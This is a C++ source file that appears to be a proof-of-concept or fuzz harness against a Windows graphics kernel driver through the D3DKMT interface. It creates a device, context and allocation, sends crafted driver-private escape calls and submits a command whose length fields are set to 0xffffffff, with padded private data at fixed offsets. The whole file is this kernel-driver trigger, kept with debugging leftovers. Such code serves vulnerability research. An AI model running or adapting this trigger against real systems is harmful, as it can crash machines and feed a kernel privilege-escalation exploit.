#include "stdafx.h"

#include <time.h>
#include <Windows.h>
#include <d3dkmthk.h>

void basicrender_submit()
{
	D3DKMT_ENUMADAPTERS enumAdapter = { 0 };
	D3DKMTEnumAdapters(&enumAdapter);

	D3DKMT_CREATEDEVICE deviceAry[10] = { 0 };
	deviceAry[0].hAdapter = enumAdapter.Adapters[1].hAdapter;
	//__asm int 3
	D3DKMTCreateDevice(&deviceAry[0]);

	D3DKMT_CREATECONTEXTVIRTUAL contextVirtual = { 0 };
	contextVirtual.hDevice = deviceAry[0].hDevice;
	contextVirtual.NodeOrdinal = 0x1;
	char data3[0x200] = { 0 };
	memset(data3, 0xff, 0x200);
	contextVirtual.PrivateDriverDataSize = 0x200;
	contextVirtual.pPrivateDriverData = data3;
	//*(DWORD*)(data3 + 0xc) = 2;
	contextVirtual.Flags.InitialData = 1;
	contextVirtual.EngineAffinity = 0x1;
	contextVirtual.ClientHint = D3DKMT_CLIENTHINT_OPENGL;
//	FUN_D3DKMTCreateContextVirtual pfnD3DKMTCreateContextVirtual = (FUN_D3DKMTCreateContextVirtual)GetProcAddress(GetModuleHandle(L"gdi32"), "D3DKMTCreateContextVirtual");

//	pfnD3DKMTCreateContextVirtual(&contextVirtual);
	D3DKMTCreateContextVirtual(&contextVirtual);

	D3DKMT_CREATEALLOCATION allocation = { 0 };
	allocation.hDevice = deviceAry[0].hDevice;
	char runtimedata[0x200] = { 0 };
	memset(runtimedata, 0xee, 0x200);
	allocation.pPrivateRuntimeData = runtimedata;
	allocation.PrivateRuntimeDataSize = 0x200;
	allocation.hResource = NULL;
	allocation.NumAllocations = 1;
	D3DDDI_ALLOCATIONINFO2 allocationInfo = { 0 };
	allocationInfo.pSystemMem = runtimedata;
	allocationInfo.VidPnSourceId = 0;
	allocationInfo.Flags.OverridePriority = 1;
	allocationInfo.PrivateDriverDataSize = 0x60;
	char privateData[0x60] = { 0 };
	memset(privateData, 0xcc, 0x60);
	*(DWORD*)(privateData + 4) = 0x100;
	*(DWORD*)(privateData + 8) = 0x200;
	*(DWORD*)(privateData + 0xc) = 0x700;
	if ((*(DWORD*)(privateData + 0) == 1) || ((*(DWORD*)(privateData + 0x58) & 0x10000) != 0))
	{
		*(DWORD*)(privateData + 8) = 0x1;
		*(DWORD*)(privateData + 0xc) = 0x1;
	}
	*(DWORD*)(privateData + 0x10) = 0x57;
	if (*(DWORD*)(privateData + 0x18) == 0)
	{
		*(DWORD*)(privateData + 0x18) = 0x1;
	}
	if (((privateData[0x58] & 0x1) == 0) && ((privateData[0x58] & 0x10) != 0))
	{
		privateData[0x58] = 0x1;
	}
	allocationInfo.pPrivateDriverData = privateData;
	allocation.pAllocationInfo2 = &allocationInfo;
	allocation.Flags.CreateResource = 1;
	//allocation.Flags.CreateShared = 1;
	D3DKMTCreateAllocation(&allocation);


	D3DKMT_MARKDEVICEASERROR makedeviceerror = { 0 };
	makedeviceerror.hDevice = deviceAry[0].hDevice;
	makedeviceerror.Reason = D3DKMT_DEVICE_ERROR_REASON_GENERIC;
//	PFND3DKMT_MARKDEVICEASERROR pfnMAKEDEVICEEROOR = (PFND3DKMT_MARKDEVICEASERROR)GetProcAddress(GetModuleHandle(L"gdi32"), "D3DKMTMarkDeviceAsError");


	D3DKMT_SUBMITCOMMAND submitCommand = { 0 };
	submitCommand.BroadcastContext[0] = contextVirtual.hContext;
	submitCommand.BroadcastContextCount = 1;
	submitCommand.NumPrimaries = 0;
	for (int i = 0; i < 0x10; i++)
	{
		submitCommand.WrittenPrimaries[i] = allocationInfo.hAllocation;
	}
	submitCommand.PrivateDriverDataSize = 0xd0;
	char submitCommandData[0x130] = { 0 };
	memset(submitCommandData, 0xcc, 0x130);
	*(HANDLE*)(submitCommandData + 0x118 + 0x8) = CreateEvent(NULL, TRUE, FALSE, NULL);
	*(HANDLE*)(submitCommandData + 0x118 + 0x10) = CreateEvent(NULL, TRUE, FALSE, NULL);
	submitCommand.pPrivateDriverData = submitCommandData;
	srand((unsigned)time(NULL));
	*(PVOID*)(submitCommandData + 0x10) = (PVOID)0x1234567887654321;
	*(DWORD*)(submitCommandData + 0x1c) = 0xaaaaaaaa;
	*(DWORD*)(submitCommandData + 0x20) = 0xbbbbbbbb;
	submitCommand.Commands = 0xffffffff;
	submitCommand.CommandLength = 0xffffffff;
	submitCommand.NumHistoryBuffers = 0;
	D3DKMT_HANDLE historybuffer[0x10] = { 0 };
	for (int i = 0; i < 0x10; i++)
	{
		historybuffer[i] = allocationInfo.hAllocation;
	}
	submitCommand.HistoryBufferArray = historybuffer;
	//submitCommand.Flags.NullRendering = 1;
	//submitCommand.Flags.PresentRedirected = 1;
//	FUN_D3DKMTSubmitCommand pfnD3DKMTSubmitCommand = (FUN_D3DKMTSubmitCommand)GetProcAddress(GetModuleHandle(L"gdi32"), "D3DKMTSubmitCommand");
	SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_HIGHEST);
	//D3DKMTSetContextSchedulingPriority(&setcontextschedulepriority);

	D3DKMT_ESCAPE escape = { 0 };
	escape.hAdapter = enumAdapter.Adapters[1].hAdapter;
	escape.hDevice = deviceAry[0].hDevice;
	escape.hContext = contextVirtual.hContext;
	escape.Type = D3DKMT_ESCAPE_DRIVERPRIVATE;
	escape.PrivateDriverDataSize = 0x30;
	char escapeData[0x4c] = { 0 };
	memset(escapeData, 0xcc, 0x4c);
	*(DWORD*)escapeData = 7;
	*(DWORD*)(escapeData + 0x18) = 0x1000;
	char *buf = new char[0x1000];
	memset(buf, 0xff, 0x1000);
	*(PVOID*)(escapeData + 0x10) = buf;
	escape.pPrivateDriverData = &escapeData;
	//__asm int 3 
	D3DKMTEscape(&escape); //ALLOCATDAMVIRTUAL

	escape.hAdapter = enumAdapter.Adapters[1].hAdapter;
	escape.hDevice = deviceAry[0].hDevice;
	escape.hContext = contextVirtual.hContext;
	escape.Type = D3DKMT_ESCAPE_DRIVERPRIVATE;
	escape.PrivateDriverDataSize = 0x130;
	char escapeData2[0x130] = { 0 };
	memset(escapeData2, 0xcc, 0x130);
	*(DWORD*)escapeData2 = 5;
	*(DWORD*)(escapeData2 + 0x18) = 0x1000;
	//char *buf = new char[0x1000];
	//memset(buf, 0xff, 0x1000);
	*(PVOID*)(escapeData2 + 0x10) = buf;
	*(DWORD*)(escapeData2 + 0x1C) = 1;
	*(HANDLE*)(escapeData2 + 0x20) = CreateEvent(NULL, TRUE, FALSE, NULL);
	*(HANDLE*)(escapeData2 + 0xA0) = CreateEvent(NULL, TRUE, FALSE, NULL);
	escape.pPrivateDriverData = &escapeData2;
	//__asm int 3
	D3DKMTEscape(&escape);


//	__asm int 3
/****************old
for(int i = 0;i<0x1000;i++)
{
submitCommand.PrivateDriverDataSize = 0x130;
//	*(DWORD*)(submitCommandData + 0x2c) = rand();
*(DWORD*)(submitCommandData + 0x2c) = 0x30ee;
//	*(DWORD*)(submitCommandData + 0x24) = rand();
*(DWORD*)(submitCommandData + 0x24) = 0x1234;
pfnD3DKMTSubmitCommand(&submitCommand);
}
pfnMAKEDEVICEEROOR(&makedeviceerror);
*/

//***************new
	submitCommand.PrivateDriverDataSize = 0x130;
	*(DWORD*)(submitCommandData + 0x2c) = 0x30ee;
	*(DWORD*)(submitCommandData + 0x24) = 0x1234;
	D3DKMTSubmitCommand(&submitCommand);
	D3DKMTSubmitCommand(&submitCommand);
	return;


}

int main()
{
	basicrender_submit();

    return 0;
}

